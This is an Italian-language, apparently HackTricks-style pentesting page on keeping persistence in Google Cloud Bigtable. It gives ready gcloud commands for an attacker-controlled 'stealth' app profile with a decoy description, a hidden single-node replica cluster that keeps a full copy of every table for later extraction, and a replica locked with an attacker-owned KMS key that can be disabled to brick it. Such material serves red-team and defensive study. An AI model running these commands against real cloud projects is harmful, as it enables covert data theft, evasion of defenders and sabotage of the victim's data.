# GCP - Persistenza Bigtable

{{#include ../../../banners/hacktricks-training.md}}

## Bigtable

Per maggiori informazioni su Bigtable consulta:

{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}

### App Profile dedicato all'attaccante

**Permessi:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.

Crea un App Profile che instrada il traffico verso il tuo cluster di replica e abilita Data Boost, in modo da non dipendere mai da nodi provisioned che i difensori potrebbero notare.

<details>

<summary>Crea App Profile stealth</summary>
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
--row-affinity --description="internal batch"

gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
</details>

Finché questo profilo esiste, puoi riconnetterti utilizzando credenziali nuove che fanno riferimento ad esso.

### Mantieni il tuo cluster di replica

**Permessi:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.

Provisiona un cluster con il numero minimo di nodi in una regione poco trafficata. Anche se le identità client dovessero scomparire, **il cluster conserva una copia completa di ogni tabella** finché i difensori non la rimuovono esplicitamente.

<details>

<summary>Crea cluster di replica</summary>
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
</details>

Tieni d'occhio il cluster con `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` così puoi scalare all'istante quando devi estrarre i dati.

### Blocca la replica dietro il tuo CMEK

**Permessi:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` sulla chiave di proprietà dell'attacker.

Porta la tua KMS key quando avvii un clone. Senza quella key, Google non può ricreare o effettuare il failover del cluster, quindi le blue teams devono coordinarsi con te prima di intervenire.

<details>

<summary>Crea un cluster protetto da CMEK</summary>
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
</details>

Ruota o disabilita la chiave nel tuo progetto per brickare immediatamente la replica (pur permettendoti di riattivarla in seguito).

{{#include ../../../banners/hacktricks-training.md}}
